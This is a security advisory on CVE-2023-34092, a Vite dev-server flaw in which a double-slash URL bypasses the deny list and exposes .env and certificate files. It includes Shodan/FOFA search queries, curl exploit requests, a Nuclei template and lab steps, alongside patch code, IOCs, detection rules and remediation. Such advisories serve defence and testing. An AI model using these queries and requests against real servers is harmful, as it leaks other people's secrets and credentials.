CVE-2023-34092

Executive Summary

CVE-2023-34092 is a high-severity information disclosure vulnerability in the Vite frontend tooling dev server. The vulnerability allows an unauthenticated attacker to bypass the server.fs.deny configuration by using a double forward-slash (//) in the URL path. This bypass enables reading sensitive files from the Vite project root, including .env files, .env.* files, and certificate files (*.{crt,pem}), which are protected by default. The attack is only possible when the Vite dev server is explicitly exposed to the network via the --host flag or server.host config option. The vulnerability has a CVSS score of 7.5 and is classified as CWE-50 (Path Equivalence: '//').

Supply Chain & Package Security

Vite is an npm package widely used in modern web development. This vulnerability affects the development server component, which is typically not exposed to production networks. However, in CI/CD pipelines, development environments, or misconfigured deployments, the dev server may be inadvertently exposed. The npm ecosystem's dependency chain means that any project using a vulnerable version of Vite is at risk. The fix is available in patched versions, and users should update their package.json and package-lock.json files accordingly.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is high due to the ease of exploitation (no authentication required) and the potential for significant information disclosure. The EPSS score is 0.44786 (97.59th percentile), indicating active exploitation in the wild.

Deep Dive & Mechanics

The vulnerability resides in Vite's dev server file serving logic. Vite uses a server.fs.deny configuration to block access to sensitive files (e.g., .env, .env.*, *.{crt,pem}). The deny list is enforced by checking the requested path against a set of patterns.

The bypass works because the path normalization logic does not properly handle double forward-slashes (//). When a request is made to //.env, the path is not normalized to /.env before the deny check. The double slash causes the path to be interpreted differently, bypassing the pattern matching. The server then serves the file as if it were a legitimate asset.

The vulnerable code path is in the serve function of Vite's dev server. The fix involves normalizing the path by collapsing double slashes before applying the deny list.

Vulnerable vs. Patched Code

Vulnerable Code (Vite < 4.3.9):

// Simplified vulnerable logic
function serve(req, res) {
  const path = req.url; // e.g., "//.env"
  // No normalization of double slashes
  if (isDenied(path)) {
    res.statusCode = 403;
    res.end('Forbidden');
    return;
  }
  // Serve file
  serveFile(path);
}

Patched Code (Vite >= 4.3.9):

// Simplified patched logic
function serve(req, res) {
  const path = normalizePath(req.url); // Collapses "//" to "/"
  if (isDenied(path)) {
    res.statusCode = 403;
    res.end('Forbidden');
    return;
  }
  // Serve file
  serveFile(path);
}

function normalizePath(p) {
  return p.replace(/\/+/g, '/');
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Vite dev server exposed to the network (e.g., running with --host 0.0.0.0).
• A vulnerable version of Vite (e.g., 4.3.8).

Exploitation Steps:

1. Identify a Vite dev server. Use Shodan or FOFA with the query http.html:"/@vite/client".
2. Confirm the vulnerability by sending a request to /.env (should return 403).
3. Send a request to //.env (should return 200 with file contents).

Example using curl:

# Test deny
curl -v http://target:5173/.env
# Expected: 403 Forbidden

# Exploit bypass
curl -v http://target:5173//.env
# Expected: 200 OK with contents of .env file

Nuclei Template (provided in Hacker Arsenal):

id: CVE-2023-34092

info:
  name: Vite Dev Server - Information Exposure
  author: ritikchaddha
  severity: high
  description: |
    Vite dev server could allow reading files from the Vite project root by bypassing server.fs.deny with double forward-slash paths (//). This affects exposed dev servers only.
  impact: |
    Unauthenticated users can read sensitive files in the project root, potentially leading to information disclosure.
  remediation: |
    Update to Vite version 4.3.9, 4.2.3, 4.1.5, 4.0.5, 3.2.7, or 2.9.16 or later.
  reference:
    - https://github.com/vitejs/vite/security/advisories/GHSA-353f-5xf4-qw67
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34092
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-34092
    epss-score: 0.44786
    epss-percentile: 0.97592
    cwe-id: CWE-50
  metadata:
    max-request: 2
    verified: true
    fofa-query: body="/@vite/client"
    shodan-query: http.html:"/@vite/client"
  tags: cve,cve2023,env,vite,exposure,bypass

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/.env"

    matchers:
      - type: status
        status:
          - 403
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}//.env"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "VITE_APP_SECRET"
        case-insensitive: true

      - type: status
        status:
          - 200

Blue Team

Detection:

• Monitor for requests containing double forward-slashes (//) in the path to Vite dev servers.
• Alert on successful reads of .env or other sensitive files from the dev server.

Hunting:

• Search web server logs for patterns like GET //.env or GET //.env.local.
• Use the provided YARA and Sigma rules to scan for exploitation attempts.

Lab Setup:

1. Create a vulnerable Vite project:

npm create vite@4.3.8 test-vuln
cd test-vuln
npm install
echo "VITE_APP_SECRET=supersecret" > .env
npx vite --host 0.0.0.0

2. Test the exploit from another machine.
3. Apply the patch by updating Vite:

npm install vite@4.3.9

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to paths containing // (e.g., //.env, //.env.local, //config.json).
  • Responses from Vite dev server with status 200 for files that should be denied.
• File IOCs:
  • Unauthorized access to .env, .env.*, *.crt, *.pem files.
• Log IOCs:
  • Web server logs showing GET //.env with a 200 response.
  • Repeated requests to /.env (403) followed by //.env (200).

Detection Engineering

YARA Rule

rule CVE_2023_34092_Vite_Info_Disclosure {
    meta:
        description = "Detects exploitation attempts of CVE-2023-34092 via double forward-slash in HTTP requests"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-34092"
        severity = "high"
    strings:
        $double_slash = "//"
        $env_file = ".env"
        $cert_file = ".crt"
        $pem_file = ".pem"
    condition:
        $double_slash and ($env_file or $cert_file or $pem_file)
}

Sigma Rule

title: CVE-2023-34092 Vite Dev Server Information Disclosure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with double forward-slash to Vite dev server attempting to bypass fs.deny
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34092
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|contains: '//'
        cs-uri-stem|endswith:
            - '.env'
            - '.env.*'
            - '.crt'
            - '.pem'
    condition: selection
falsepositives:
    - Legitimate use of double slashes in URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-34092 Vite Dev Server Information Disclosure"; flow:to_server,established; content:"GET"; http_method; content:"//"; http_uri; content:".env"; http_uri; distance:0; within:10; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Vite to the latest patched version:
   • npm install vite@4.3.9 (or later)
   • For older branches: vite@4.2.3, vite@4.1.5, vite@4.0.5, vite@3.2.7, vite@2.9.16
2. If immediate update is not possible, restrict network access to the Vite dev server:
   • Do not use --host or server.host in production or untrusted networks.
   • Use a reverse proxy (e.g., Nginx) to block requests with double slashes.
3. Rotate any secrets exposed in .env files that may have been compromised.

Long-term Mitigations:

• Implement network segmentation to ensure dev servers are not exposed to the internet.
• Use a Web Application Firewall (WAF) to filter requests with double slashes.
• Regularly audit dependencies for known vulnerabilities using tools like npm audit or Snyk.
• Enforce the principle of least privilege for file access in development environments.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules to monitor for exploitation attempts.
• Review web server logs for anomalous requests to sensitive files.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 3257DFB631E034735675F95F] */}